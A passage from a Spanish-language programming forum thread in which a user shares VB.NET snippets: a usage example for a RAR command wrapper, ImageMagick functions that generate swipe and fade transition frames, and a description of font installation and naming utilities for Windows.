El README.md del repositorio en GitHub incluye un ejemplo de uso para VB.NET y también para C#.

Además, en el código fuente de todas las nueve clases que representan los 'Comandos', incluyen un apartado, arriba del todo de la clase, con un ejemplo de uso para VB.NET, y también en la propia documentación XML de la clase.

De todas formas, aquí les dejo un ejemplo de uso completo para VB.NET

 — Construir un Comando para la creación de archivos RAR utilizando la clase RarCreationCommand:

Código
  1. Imports DevCase.RAR
  2. Imports DevCase.RAR.Commands

Código
  1. Dim archivePath As String = "C:\New Archive.rar"
  2. Dim filesToAdd As String = "C:\Directory to add\"
  3.  
  4. Dim command As New RarCreationCommand(RarCreationMode.Add, archivePath, filesToAdd) With {
  5.    .RarExecPath = ".\rar.exe",
  6.    .RarLicenseData = "(Your license key)",
  7.    .RecurseSubdirectories = True,
  8.    .EncryptionProperties = Nothing,
  9.    .SolidCompression = False,
  10.    .CompressionMode = RarCompressionMode.Normal,
  11.    .DictionarySize = RarDictionarySize.Mb__128,
  12.    .OverwriteMode = RarOverwriteMode.Overwrite,
  13.    .FilePathMode = RarFilePathMode.ExcludeBaseDirFromFileNames,
  14.    .FileTimestamps = RarFileTimestamps.All,
  15.    .AddQuickOpenInformation = TriState.True,
  16.    .ProcessHardLinksAsLinks = True,
  17.    .ProcessSymbolicLinksAsLinks = TriState.True,
  18.    .DuplicateFileMode = RarDuplicateFileMode.Enabled,
  19.    .FileChecksumMode = RarFileChecksumMode.BLAKE2sp,
  20.    .ArchiveComment = New RarArchiveComment("Hello world!"),
  21.    .RecoveryRecordPercentage = 0,
  22.    .VolumeSplitOptions = Nothing,
  23.    .FileTypesToStore = Nothing
  24. }

 — Para obtener los argumentos completos de la línea de comandos de nuestro Comando:

Código
  1. Console.WriteLine($"Command-line arguments: {command}")
Código
  1. MessageBox.Show(command.ToString())

 — Ejecutar nuestro Comando usando la clase RarCommandExecutor:

Código
  1. Using rarExecutor As New RarCommandExecutor(command)
  2.  
  3.    AddHandler rarExecutor.OutputDataReceived,
  4.        Sub(sender As Object, e As DataReceivedEventArgs)
  5.            Console.WriteLine($"[Output] {Date.Now:yyyy-MM-dd HH:mm:ss} - {e.Data}")
  6.        End Sub
  7.  
  8.    AddHandler rarExecutor.ErrorDataReceived,
  9.        Sub(sender As Object, e As DataReceivedEventArgs)
  10.            If e.Data IsNot Nothing Then
  11.                Console.WriteLine($"[Error] {Date.Now:yyyy-MM-dd HH:mm:ss} - {e.Data}")
  12.            End If
  13.        End Sub
  14.  
  15.    AddHandler rarExecutor.Exited,
  16.        Sub(sender As Object, e As EventArgs)
  17.            Dim pr As Process = DirectCast(sender, Process)
  18.            Dim rarExitCode As RarExitCode = DirectCast(pr.ExitCode, RarExitCode)
  19.            Console.WriteLine($"[Exited] {Date.Now:yyyy-MM-dd HH:mm:ss} - rar.exe process has terminated with exit code {pr.ExitCode} ({rarExitCode})")
  20.        End Sub
  21.  
  22.    Dim exitcode As RarExitCode = rarExecutor.ExecuteRarAsync().Result
  23. End Using


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: **Aincrad** en 1 Junio 2025, 23:45 pm
Genial snippets nuevos , gracias.  ;-)


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 10 Junio 2025, 07:00 am
Genial snippets nuevos , gracias.  ;-)

Te lo agradezco!



Varios métodos para crear efectos de transición de imagen con la librería ImageMagick:

  • Magick.NET-Q8-AnyCPU (https://www.nuget.org/packages/Magick.NET-Q8-AnyCPU)
  • Magick.NET-Q16-AnyCPU (https://www.nuget.org/packages/Magick.NET-Q16-AnyCPU)

El número de frames del efecto de transición y el tiempo de la secuencia de animación son configurables.

Estos efectos son ideales para generar presentaciones de imágenes en animaciones GIF...



Barrido direccional:

(https://i.imgur.com/sZS7X3g.gif)  (https://i.imgur.com/Z0boZZg.gif)

Código
  1. ''' <summary>
  2. ''' Generates a sequence of transition frames between two <see cref="MagickImage"/> instances,
  3. ''' progressively revealing the second image over the first one in a specified direction.
  4. ''' </summary>
  5. '''
  6. ''' <param name="firstImage">
  7. ''' The starting image of the transition.
  8. ''' </param>
  9. '''
  10. ''' <param name="secondImage">
  11. ''' The image to swipe in over <paramref name="firstImage"/>.
  12. ''' </param>
  13. '''
  14. ''' <param name="direction">
  15. ''' The direction in which the swipe effect must occur.
  16. ''' </param>
  17. '''
  18. ''' <param name="steps">
  19. ''' The number of intermediate frames to generate for the transition.
  20. ''' <para></para>
  21. ''' A higher value may result in a smoother, slower visual transition,  
  22. ''' at the cost of increased processing time to generate the effect
  23. ''' and increased number of images / file size for the resulting animation.
  24. ''' <para></para>
  25. ''' Minimum value is 3. Default value is 5.
  26. ''' </param>
  27. '''
  28. ''' <param name="animationDelay">
  29. ''' The time in 1/100ths of a second which must expire before splaying the next image in the transition sequence.
  30. ''' <para></para>
  31. ''' Default value is 1 (10 milliseconds).
  32. ''' </param>
  33. '''
  34. ''' <param name="frameTransformation">
  35. ''' An <see cref="Action(Of MagickImage)"/> delegate that applies custom transformations to each frame (<see cref="MagickImage"/> object)
  36. ''' used to create the transition animation. This allows fine-tuning of image properties such as format,
  37. ''' color profile, quality and other supported properties and methods by <see cref="MagickImage"/> class.
  38. ''' <para></para>
  39. ''' Note: <paramref name="animationDelay"/> value cannot be overridden in <paramref name="frameTransformation"/> delegate.
  40. ''' <para></para>
  41. ''' Code Example in VB.NET:
  42. ''' <code>Dim transformation As Action(Of MagickImage) =
  43. '''     Sub(x As MagickImage)
  44. '''         x.AnimationDelay = 1 ' 10 milliseconds
  45. '''         x.Format = MagickFormat.Jpg
  46. '''         x.Quality = 90
  47. '''     End Sub
  48. '''</code>
  49. '''
  50. ''' Code Example in C#:
  51. ''' <code>Action&lt;MagickImage&gt; transformation = (MagickImage x) =&gt; {
  52. '''     x.AnimationDelay = 1; // 1 10 milliseconds
  53. '''     x.Format = MagickFormat.Jpg;
  54. '''     x.Quality = 90;
  55. ''' };</code>
  56. ''' </param>
  57. '''
  58. ''' <returns>
  59. ''' An <see cref="IList"/> of <see cref="MagickImage"/> objects representing each frame of the transition animation.
  60. ''' <para></para>
  61. ''' All frames returned must be disposed of by the caller to free resources when no longer needed.
  62. ''' </returns>
  63. <DebuggerStepThrough>
  64. Public Shared Function GenerateSwipeTransition(firstImage As MagickImage, secondImage As MagickImage,
  65.                                               direction As System.Windows.Forms.FlowDirection,
  66.                                               steps As Integer, animationDelay As Integer,
  67.                                               Optional frameTransformation As Action(Of MagickImage) = Nothing) As IList(Of MagickImage)
  68.  
  69.    If firstImage Is Nothing Then
  70.        Throw New ArgumentNullException(NameOf(firstImage))
  71.    End If
  72.    If secondImage Is Nothing Then
  73.        Throw New ArgumentNullException(NameOf(secondImage))
  74.    End If
  75.    If steps < 3 Then
  76.        Throw New ArgumentOutOfRangeException(NameOf(steps), steps,
  77.                    "The steps value must be equal to or greater than three.")
  78.    End If
  79.    If animationDelay <= 0 Then
  80.        Throw New ArgumentOutOfRangeException(NameOf(animationDelay), animationDelay,
  81.                    "The animation delay value must be greater than zero.")
  82.    End If
  83.  
  84.    Dim frames As New List(Of MagickImage)
  85.  
  86.    For i As Integer = 1 To steps
  87.        Dim ratio As Double = i / steps
  88.  
  89.        Using secondCropped As New MagickImage(secondImage)
  90.            Dim cropWidth As UInteger = secondImage.Width
  91.            Dim cropHeight As UInteger = secondImage.Height
  92.            Dim offsetX As Integer = 0
  93.            Dim offsetY As Integer = 0
  94.            Dim drawX As Integer = 0
  95.            Dim drawY As Integer = 0
  96.  
  97.            Select Case direction
  98.  
  99.                Case System.Windows.Forms.FlowDirection.LeftToRight
  100.                    cropWidth = CUInt(secondImage.Width * ratio)
  101.                    offsetX = 0
  102.                    drawX = 0
  103.  
  104.                Case System.Windows.Forms.FlowDirection.RightToLeft
  105.                    cropWidth = CUInt(secondImage.Width * ratio)
  106.                    offsetX = CInt(secondImage.Width - cropWidth)
  107.                    drawX = offsetX
  108.  
  109.                Case System.Windows.Forms.FlowDirection.TopDown
  110.                    cropHeight = CUInt(secondImage.Height * ratio)
  111.                    offsetY = 0
  112.                    drawY = 0
  113.  
  114.                Case System.Windows.Forms.FlowDirection.BottomUp
  115.                    cropHeight = CUInt(secondImage.Height * ratio)
  116.                    offsetY = CInt(secondImage.Height - cropHeight)
  117.                    drawY = offsetY
  118.  
  119.            End Select
  120.  
  121.            Dim geometry As New MagickGeometry(offsetX, offsetY, cropWidth, cropHeight)
  122.            secondCropped.Crop(geometry)
  123.            secondCropped.ResetPage()
  124.  
  125.            Dim frame As New MagickImage(firstImage)
  126.            frame.Composite(secondCropped, drawX, drawY, CompositeOperator.Over)
  127.  
  128.            frameTransformation?.Invoke(frame)
  129.            frame.AnimationDelay = CUInt(animationDelay)
  130.  
  131.            frames.Add(frame)
  132.        End Using
  133.    Next
  134.  
  135.    Return frames
  136. End Function



Fundido de entrada de imagen B sobre imagen A:
(https://i.imgur.com/xnj87vM.gif)

Código
  1. ''' <summary>
  2. ''' Generates a sequence of transition frames between two <see cref="MagickImage"/> instances,
  3. ''' gradually fading in the second image over the first one.
  4. ''' </summary>
  5. '''
  6. ''' <param name="firstImage">
  7. ''' The starting image of the transition.
  8. ''' </param>
  9. '''
  10. ''' <param name="secondImage">
  11. ''' The image to fade in over <paramref name="firstImage"/>.
  12. ''' </param>
  13. '''
  14. ''' <param name="steps">
  15. ''' The number of intermediate frames to generate for the transition.
  16. ''' <para></para>
  17. ''' A higher value may result in a smoother, slower visual transition,  
  18. ''' at the cost of increased processing time to generate the effect
  19. ''' and increased number of images / file size for the resulting animation.
  20. ''' <para></para>
  21. ''' Minimum value is 3. Default value is 5.
  22. ''' </param>
  23. '''
  24. ''' <param name="animationDelay">
  25. ''' The time in 1/100ths of a second which must expire before splaying the next image in the transition sequence.
  26. ''' <para></para>
  27. ''' Default value is 1 (10 milliseconds).
  28. ''' </param>
  29. '''
  30. ''' <param name="frameTransformation">
  31. ''' An <see cref="Action(Of MagickImage)"/> delegate that applies custom transformations to each frame (<see cref="MagickImage"/> object)
  32. ''' used to create the transition animation. This allows fine-tuning of image properties such as format,
  33. ''' color profile, quality and other supported properties and methods by <see cref="MagickImage"/> class.
  34. ''' <para></para>
  35. ''' Note: <paramref name="animationDelay"/> value cannot be overridden in <paramref name="frameTransformation"/> delegate.
  36. ''' <para></para>
  37. ''' Code Example in VB.NET:
  38. ''' <code>Dim transformation As Action(Of MagickImage) =
  39. '''     Sub(x As MagickImage)
  40. '''         x.AnimationDelay = 1 ' 10 milliseconds
  41. '''         x.Format = MagickFormat.Jpg
  42. '''         x.Quality = 90
  43. '''     End Sub
  44. '''</code>
  45. '''
  46. ''' Code Example in C#:
  47. ''' <code>Action&lt;MagickImage&gt; transformation = (MagickImage x) =&gt; {
  48. '''     x.AnimationDelay = 1; // 1 10 milliseconds
  49. '''     x.Format = MagickFormat.Jpg;
  50. '''     x.Quality = 90;
  51. ''' };</code>
  52. ''' </param>
  53. '''
  54. ''' <returns>
  55. ''' An <see cref="IList"/> of <see cref="MagickImage"/> objects representing each frame of the transition animation.
  56. ''' <para></para>
  57. ''' All frames returned must be disposed of by the caller to free resources when no longer needed.
  58. ''' </returns>
  59. <DebuggerStepThrough>
  60. Public Shared Function GenerateFadeInOverTransition(firstImage As MagickImage, secondImage As MagickImage,
  61.                                                    steps As Integer, animationDelay As Integer,
  62.                                                    Optional frameTransformation As Action(Of MagickImage) = Nothing) As IList(Of MagickImage)
  63.  
  64.    If firstImage Is Nothing Then
  65.        Throw New ArgumentNullException(NameOf(firstImage))
  66.    End If
  67.    If secondImage Is Nothing Then
  68.        Throw New ArgumentNullException(NameOf(secondImage))
  69.    End If
  70.    If steps < 3 Then
  71.        Throw New ArgumentOutOfRangeException(NameOf(steps), steps,
  72.                    "The steps value must be equal to or greater than three.")
  73.    End If
  74.    If animationDelay <= 0 Then
  75.        Throw New ArgumentOutOfRangeException(NameOf(animationDelay), animationDelay,
  76.                    "The animation delay value must be greater than zero.")
  77.    End If
  78.  
  79.    Dim frames As New List(Of MagickImage)
  80.  
  81.    For i As Integer = 0 To steps
  82.        Dim alpha As Double = i / steps
  83.  
  84.        Dim frame As New MagickImage(firstImage)
  85.        Using overlay As New MagickImage(secondImage)
  86.            overlay.Alpha(AlphaOption.On)
  87.            overlay.Evaluate(Channels.Alpha, EvaluateOperator.Multiply, alpha)
  88.            frame.Composite(overlay, CompositeOperator.Over)
  89.  
  90.            frameTransformation?.Invoke(frame)
  91.            frame.AnimationDelay = CUInt(animationDelay)
  92.  
  93.            frames.Add(frame)
  94.        End Using
  95.    Next
  96.  
  97.    Return frames
  98. End Function



Fundido de entrada negro:

(https://i.imgur.com/cF5MRnx.gif)

Código
  1. ''' <summary>
  2. ''' Generates a sequence of transition frames, gradually fading in from black the specified <see cref="MagickImage"/> object.
  3. ''' </summary>
  4. '''
  5. ''' <param name="image">
  6. ''' The <see cref="MagickImage"/> object to fade in from black.
  7. ''' </param>
  8. '''
  9. ''' <param name="steps">
  10. ''' The number of intermediate frames to generate for the transition.
  11. ''' <para></para>
  12. ''' A higher value may result in a smoother, slower visual transition,  
  13. ''' at the cost of increased processing time to generate the effect
  14. ''' and increased number of images / file size for the resulting animation.
  15. ''' <para></para>
  16. ''' Minimum value is 3. Default value is 5.
  17. ''' </param>
  18. '''
  19. ''' <param name="animationDelay">
  20. ''' The time in 1/100ths of a second which must expire before splaying the next image in the transition sequence.
  21. ''' <para></para>
  22. ''' Default value is 1 (10 milliseconds).
  23. ''' </param>
  24. '''
  25. ''' <param name="frameTransformation">
  26. ''' An <see cref="Action(Of MagickImage)"/> delegate that applies custom transformations to each frame (<see cref="MagickImage"/> object)
  27. ''' used to create the transition animation. This allows fine-tuning of image properties such as format,
  28. ''' color profile, quality and other supported properties and methods by <see cref="MagickImage"/> class.
  29. ''' <para></para>
  30. ''' Note: <paramref name="animationDelay"/> value cannot be overridden in <paramref name="frameTransformation"/> delegate.
  31. ''' <para></para>
  32. ''' Code Example in VB.NET:
  33. ''' <code>Dim transformation As Action(Of MagickImage) =
  34. '''     Sub(x As MagickImage)
  35. '''         x.AnimationDelay = 1 ' 10 milliseconds
  36. '''         x.Format = MagickFormat.Jpg
  37. '''         x.Quality = 90
  38. '''     End Sub
  39. '''</code>
  40. '''
  41. ''' Code Example in C#:
  42. ''' <code>Action&lt;MagickImage&gt; transformation = (MagickImage x) =&gt; {
  43. '''     x.AnimationDelay = 1; // 1 10 milliseconds
  44. '''     x.Format = MagickFormat.Jpg;
  45. '''     x.Quality = 90;
  46. ''' };</code>
  47. ''' </param>
  48. '''
  49. ''' <returns>
  50. ''' An <see cref="IList"/> of <see cref="MagickImage"/> objects representing each frame of the transition animation.
  51. ''' <para></para>
  52. ''' All frames returned must be disposed of by the caller to free resources when no longer needed.
  53. ''' </returns>
  54. <DebuggerStepThrough>
  55. Public Shared Function GenerateFadeInFromBlackTransition(image As MagickImage,
  56.                                                         steps As Integer, animationDelay As Integer,
  57.                                                         Optional frameTransformation As Action(Of MagickImage) = Nothing) As IList(Of MagickImage)
  58.  
  59.  
  60.    If image Is Nothing Then
  61.        Throw New ArgumentNullException(NameOf(image))
  62.    End If
  63.    If steps < 3 Then
  64.        Throw New ArgumentOutOfRangeException(NameOf(steps), steps,
  65.                    "The steps value must be equal to or greater than three.")
  66.    End If
  67.    If animationDelay <= 0 Then
  68.        Throw New ArgumentOutOfRangeException(NameOf(animationDelay), animationDelay,
  69.                    "The animation delay value must be greater than zero.")
  70.    End If
  71.  
  72.    Dim frames As New List(Of MagickImage)
  73.  
  74.    Using black As New MagickImage(MagickColors.Black, image.Width, image.Height)
  75.        For i As Integer = 0 To steps
  76.            Dim alpha As Double = i / steps
  77.            Using fadeImg As New MagickImage(image)
  78.                fadeImg.Alpha(AlphaOption.On)
  79.                fadeImg.Evaluate(Channels.Alpha, EvaluateOperator.Multiply, alpha)
  80.  
  81.                Dim background As New MagickImage(black)
  82.                background.Composite(fadeImg, CompositeOperator.Over)
  83.  
  84.                frameTransformation?.Invoke(background)
  85.                background.AnimationDelay = CUInt(animationDelay)
  86.  
  87.                frames.Add(background)
  88.            End Using
  89.        Next
  90.    End Using
  91.  
  92.    Return frames
  93. End Function



Fundido de salida a negro para la imagen A, y fundido de entrada desde negro para la imagen B:

(https://i.imgur.com/Fu4i02w.gif)

(https://i.imgur.com/5OjlGGH.gif)

Código
  1. ''' <summary>
  2. ''' Generates a sequence of transition frames between two <see cref="MagickImage"/> instances,
  3. ''' gradually fading out to black the first image, then fading in from black the second image.
  4. ''' </summary>
  5. '''
  6. ''' <param name="firstImage">
  7. ''' The image to fade out to black.
  8. ''' </param>
  9. '''
  10. ''' <param name="secondImage">
  11. ''' The image to fade in from black.
  12. ''' </param>
  13. '''
  14. ''' <param name="steps">
  15. ''' The number of intermediate frames to generate for the transition.
  16. ''' <para></para>
  17. ''' A higher value may result in a smoother, slower visual transition,  
  18. ''' at the cost of increased processing time to generate the effect
  19. ''' and increased number of images / file size for the resulting animation.
  20. ''' <para></para>
  21. ''' Minimum value is 3. Default value is 5.
  22. ''' </param>
  23. '''
  24. ''' <param name="animationDelay">
  25. ''' The time in 1/100ths of a second which must expire before splaying the next image in the transition sequence.
  26. ''' <para></para>
  27. ''' Default value is 1 (10 milliseconds).
  28. ''' </param>
  29. '''
  30. ''' <param name="frameTransformation">
  31. ''' An <see cref="Action(Of MagickImage)"/> delegate that applies custom transformations to each frame (<see cref="MagickImage"/> object)
  32. ''' used to create the transition animation. This allows fine-tuning of image properties such as format,
  33. ''' color profile, quality and other supported properties and methods by <see cref="MagickImage"/> class.
  34. ''' <para></para>
  35. ''' Note: <paramref name="animationDelay"/> value cannot be overridden in <paramref name="frameTransformation"/> delegate.
  36. ''' <para></para>
  37. ''' Code Example in VB.NET:
  38. ''' <code>Dim transformation As Action(Of MagickImage) =
  39. '''     Sub(x As MagickImage)
  40. '''         x.AnimationDelay = 1 ' 10 milliseconds
  41. '''         x.Format = MagickFormat.Jpg
  42. '''         x.Quality = 90
  43. '''     End Sub
  44. '''</code>
  45. '''
  46. ''' Code Example in C#:
  47. ''' <code>Action&lt;MagickImage&gt; transformation = (MagickImage x) =&gt; {
  48. '''     x.AnimationDelay = 1; // 1 10 milliseconds
  49. '''     x.Format = MagickFormat.Jpg;
  50. '''     x.Quality = 90;
  51. ''' };</code>
  52. ''' </param>
  53. '''
  54. ''' <returns>
  55. ''' An <see cref="IList"/> of <see cref="MagickImage"/> objects representing each frame of the transition animation.
  56. ''' <para></para>
  57. ''' All frames returned must be disposed of by the caller to free resources when no longer needed.
  58. ''' </returns>
  59. <DebuggerStepThrough>
  60. Public Shared Function GenerateFadeOutAndFadeInToBlackTransition(firstImage As MagickImage, secondImage As MagickImage,
  61.                                                                 steps As Integer, animationDelay As Integer,
  62.                                                                 Optional frameTransformation As Action(Of MagickImage) = Nothing) As IList(Of MagickImage)
  63.  
  64.    If firstImage Is Nothing Then
  65.        Throw New ArgumentNullException(NameOf(firstImage))
  66.    End If
  67.    If secondImage Is Nothing Then
  68.        Throw New ArgumentNullException(NameOf(secondImage))
  69.    End If
  70.    If steps < 3 Then
  71.        Throw New ArgumentOutOfRangeException(NameOf(steps), steps,
  72.                    "The steps value must be equal to or greater than three.")
  73.    End If
  74.    If animationDelay <= 0 Then
  75.        Throw New ArgumentOutOfRangeException(NameOf(animationDelay), animationDelay,
  76.                    "The animation delay value must be greater than zero.")
  77.    End If
  78.  
  79.    Dim frames As New List(Of MagickImage)
  80.    Using blackImage As New MagickImage(MagickColors.Black, firstImage.Width, firstImage.Height)
  81.  
  82.        ' PHASE 1: Fade firstImage to black
  83.        For i As Integer = 0 To steps
  84.            Dim alpha As Double = 1.0 - (i / steps)
  85.  
  86.            Dim background As New MagickImage(blackImage)
  87.            firstImage.Alpha(AlphaOption.On)
  88.            firstImage.Evaluate(Channels.Alpha, EvaluateOperator.Multiply, alpha)
  89.  
  90.            background.Composite(firstImage, CompositeOperator.Over)
  91.  
  92.            frameTransformation?.Invoke(background)
  93.            background.AnimationDelay = CUInt(animationDelay)
  94.  
  95.            frames.Add(background)
  96.        Next
  97.  
  98.        ' PHASE 2: Fade in secondImage from black
  99.        For i As Integer = 1 To steps ' Empieza en 1 para no duplicar el frame negro
  100.            Dim alpha As Double = i / steps
  101.  
  102.            Using baseImage As New MagickImage(secondImage)
  103.                Dim background As New MagickImage(blackImage)
  104.                baseImage.Alpha(AlphaOption.On)
  105.                baseImage.Evaluate(Channels.Alpha, EvaluateOperator.Multiply, alpha)
  106.  
  107.                background.Composite(baseImage, CompositeOperator.Over)
  108.  
  109.                frameTransformation?.Invoke(background)
  110.                background.AnimationDelay = CUInt(animationDelay)
  111.  
  112.                frames.Add(background)
  113.            End Using
  114.        Next
  115.  
  116.        Return frames
  117.    End Using
  118.  
  119. End Function



Fundido de salida a negro:

Código
  1. ''' <summary>
  2. ''' Generates a sequence of transition frames, gradually fading out to black the specified <see cref="MagickImage"/> object.
  3. ''' </summary>
  4. '''
  5. ''' <param name="image">
  6. ''' The <see cref="MagickImage"/> object to fade out to black.
  7. ''' </param>
  8. '''
  9. ''' <param name="steps">
  10. ''' The number of intermediate frames to generate for the transition.
  11. ''' <para></para>
  12. ''' A higher value may result in a smoother, slower visual transition,  
  13. ''' at the cost of increased processing time to generate the effect
  14. ''' and increased number of images / file size for the resulting animation.
  15. ''' <para></para>
  16. ''' Minimum value is 3. Default value is 5.
  17. ''' </param>
  18. '''
  19. ''' <param name="animationDelay">
  20. ''' The time in 1/100ths of a second which must expire before splaying the next image in the transition sequence.
  21. ''' <para></para>
  22. ''' Default value is 1 (10 milliseconds).
  23. ''' </param>
  24. '''
  25. ''' <param name="frameTransformation">
  26. ''' An <see cref="Action(Of MagickImage)"/> delegate that applies custom transformations to each frame (<see cref="MagickImage"/> object)
  27. ''' used to create the transition animation. This allows fine-tuning of image properties such as format,
  28. ''' color profile, quality and other supported properties and methods by <see cref="MagickImage"/> class.
  29. ''' <para></para>
  30. ''' Note: <paramref name="animationDelay"/> value cannot be overridden in <paramref name="frameTransformation"/> delegate.
  31. ''' <para></para>
  32. ''' Code Example in VB.NET:
  33. ''' <code>Dim transformation As Action(Of MagickImage) =
  34. '''     Sub(x As MagickImage)
  35. '''         x.Format = MagickFormat.Jpg
  36. '''         x.Quality = 90
  37. '''     End Sub
  38. '''</code>
  39. '''
  40. ''' Code Example in C#:
  41. ''' <code>Action&lt;MagickImage&gt; transformation = (MagickImage x) =&gt; {
  42. '''     x.AnimationDelay = 1; // 1 10 milliseconds
  43. '''     x.Format = MagickFormat.Jpg;
  44. '''     x.Quality = 90;
  45. ''' };</code>
  46. ''' </param>
  47. '''
  48. ''' <returns>
  49. ''' An <see cref="IList"/> of <see cref="MagickImage"/> objects representing each frame of the transition animation.
  50. ''' <para></para>
  51. ''' All frames returned must be disposed of by the caller to free resources when no longer needed.
  52. ''' </returns>
  53. <DebuggerStepThrough>
  54. Public Shared Function GenerateFadeOutToBlackTransition(image As MagickImage,
  55.                                                        steps As Integer, animationDelay As Integer,
  56.                                                        Optional frameTransformation As Action(Of MagickImage) = Nothing) As IList(Of MagickImage)
  57.  
  58.    If image Is Nothing Then
  59.        Throw New ArgumentNullException(NameOf(image))
  60.    End If
  61.    If steps < 3 Then
  62.        Throw New ArgumentOutOfRangeException(NameOf(steps), steps,
  63.                    "The steps value must be equal to or greater than three.")
  64.    End If
  65.    If animationDelay <= 0 Then
  66.        Throw New ArgumentOutOfRangeException(NameOf(animationDelay), animationDelay,
  67.                    "The animation delay value must be greater than zero.")
  68.    End If
  69.  
  70.    Dim frames As New List(Of MagickImage)
  71.    Using black As New MagickImage(MagickColors.Black, image.Width, image.Height)
  72.        For i As Integer = 0 To steps
  73.            Dim alpha As Double = 1.0 - (i / steps)
  74.            Using fadeImg As New MagickImage(image)
  75.                fadeImg.Alpha(AlphaOption.On)
  76.                fadeImg.Evaluate(Channels.Alpha, EvaluateOperator.Multiply, alpha)
  77.  
  78.                Dim background As New MagickImage(black)
  79.                background.Composite(fadeImg, CompositeOperator.Over)
  80.  
  81.                frameTransformation?.Invoke(background)
  82.                background.AnimationDelay = CUInt(animationDelay)
  83.  
  84.                frames.Add(background)
  85.            End Using
  86.        Next
  87.    End Using
  88.  
  89.    Return frames
  90. End Function

Nota: además de esto escribí un método para generar un GIF animado a partir de un array de imágenes, pero no puedo compartirlo aquí ya que utiliza diversos elementos de mi librería comercial y es mucho lío extraer por separado cada código necesario para insertarlo y compartirlo aquí.


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 31 Agosto 2025, 04:45 am
Métodos universales para trabajar aspectos básicos con fuentes de texto (.ttf, .otf y .fon).



Aspectos destacables del código

     ◉ Nombres descriptivos y documentación extensa, no creo que requieran ejemplos de uso (de todas formas no me cabrían en este post).

     ◉ Ligeras micro optimizaciones para .NET 5+ mediante directiva del preprocesador (#If NETCOREAPP...)

Incluye varios métodos para:

     ◉ Instalar/desinstalar una fuente solamente para el usuario local, o de forma global. Para esto último es posible requerir permisos de administrador.

     ◉ Determinar si una fuente está actualmente instalada en el sistema operativo,
         identificando varios aspectos como si el nombre del archivo o el nombre de la fuente están registradas en el Registro de Windows.

     ◉ Determinar el formato de un archivo de fuente.
         Soporta los formatos: TrueType (.ttf), OpenType con contornos TrueType (.ttf), OpenType PostScript (CFF) (.otf), y raster/bitmap (.fon).

     ◉ Obtener el nombre amistoso completo de una fuente de texto,
         exactamente tal y como se muestra en la barra de título del visor de fuentes de Windows (FontView.exe).

     ◉ Obtener el nombre del archivo de recurso de fuente escalable (.FOT) a partir de un archivo de fuente.

En torno a la instalación y desinstalación de fuentes:

     ◉ Al instalar una fuente permite cargarla en memoria, con lo cual se enviará el mensaje correspondiente a todas las ventanas del sistema operativo para notificar de un cambio (una nueva fuente disponible), de tal forma que otros programas puedan reconocer y utilizar dicha fuente.

     ◉ Al instalar una fuente se identifica correctamente el formato TrueType u OpenType y se registra apropiadamente en el nombre de la clave de registro correspondiente. Se puede anular este comportamiento mediante un parámetro Boolean para que siempre se añada el sufijo "(TrueType)" al nombre de la clave de registro tal y como lo hace la shell de Windows indiferentemente de si la fuente es OpenType. Esto no se aplica a fuentes raster/bitmap (.fon).

     ◉ Al desinstalar una fuente, permite eliminar el archivo. Si no se puede eliminar al primer intento, se detiene temporalmente el "Servicio de caché de fuentes de Windows" ('FontCache') para evitar posibles bloqueos y reintentar la eliminación. Al finalizar la desinstalación, se reanuda el servicio.



Diferencias en los nombres de fuentes

Para entrar en contexto y ver las diferencias en perspectiva, y tomando como ejemplo la fuente de texto OpenType PostScript (CFF) "JustBreatheBoldObliqueseven-7vgw.otf" (descarga (https://es.ffonts.net/Just-Breathe-Bold-ObliqueSeven.font.download)), estos son los resultados:

 ◉ Nombre de la clave de registro al instalar la fuente de forma tradicional mediante la shell de Windows 10 (Menú contextual -> Instalar):
Código:
Just Breathe Bold ObliqueSeven (TrueType)
(sí, pone 'TrueType' a pesar de ser una fuente OpenType CFF, sin contornos TrueType.)
(https://i.imgur.com/iaAvT9u.png)

 ◉ Nombre mostrado en la barra de título del visor de fuentes de Microsoft Windows (FontView.exe)
Código:
Just Breathe Bold ObliqueSeven (OpenType)

(https://i.imgur.com/pYyljz9.png)

 ◉ Nombre devuelto por mi función GetFontFriendlyName, con sufijo:
Código:
Just Breathe Bold ObliqueSeven (OpenType)
(Siempre debería devolver el mismo nombre que en el visor de fuentes de Microsoft Windows, eso sí, sin espacios en blanco adicionales al final del nombre ni antes del paréntesis del sufijo, cosa que FontView.exe no tiene en cuenta, pero mi código sí.
Lo he comparado programaticamente con aprox. 14.000 fuentes de texto para asegurarme de su fiabilidad.)

 ◉ Nombre devuelto por mi función GetFontFriendlyName, sin sufijo:
Código:
Just Breathe Bold ObliqueSeven

 ◉ Nombre devuelto por mi función GetFontResourceName:
Código:
JustBreatheBdObl7
(A veces, GetFontResourceName devolverá el mismo nombre que GetFontFriendlyName sin sufijo, es decir, el nombre escrito en el recurso de fuente escalable puede ser idéntico.)

 ◉ Nombre devuelto utilizando una combinación de propiedades de la clase System.Windows.Media.GlyphTypeface:
Código:
Just Breathe BdObl7

El código utilizado:
Código
  1. Dim fontUri As New Uri("C:\JustBreatheBoldObliqueseven-7vgw.otf", UriKind.Absolute)
  2. Dim gtf As New System.Windows.Media.GlyphTypeface(fontUri)
  3. Dim fontName As String = String.Join(" "c, gtf.FamilyNames.Values)
  4. Dim fontFaceNames As String = String.Join(" "c, gtf.FaceNames.Values)
  5. Dim fullName As String = $"{fontName} {fontFaceNames}"
  6. Console.WriteLine(fullName)

 ◉ Nombre devuelto por las propiedades System.Drawing.Font.Name y System.Drawing.FontFamily.Name:
Código:
Just Breathe

 ◉ Nombre devuelto por las propiedades System.Drawing.Font.OriginalName y System.Drawing.Font.SystemName
Código:
NINGUNO (VALOR VACÍO EN ESTE CASO CONCRETO)



Acerca de fontreg.exe

Existe una herramienta por línea de comandos llamada "fontreg.exe" (GitHub (https://github.com/jason-jxc/FontReg)) que funciona como un sustituto moderno —aunque ya algo anticuado— del obsoleto fontinst.exe de Microsoft Windows. Sin embargo, no la recomiendo para instalar fuentes de forma programática.

Para un usuario común, esta herramienta será más que suficiente, pero para un programador no es lo ideal por las siguientes razones:

 ◉ Su funcionamiento requiere que "fontreg.exe" se coloque en el mismo directorio donde se encuentran las fuentes,
     y al ejecutarlo instalará todas las fuentes del directorio sin permitir seleccionar una instalación de fuentes individuales.
 ◉ El programa no imprime mensajes de salida que sirvan para depurar la operación de instalación.
 ◉ No puedes saber si la fuente se instalará solo para el usuario actual (HKCU) o de manera global en el sistema (HKLM).

Además, he detectado varios fallos:

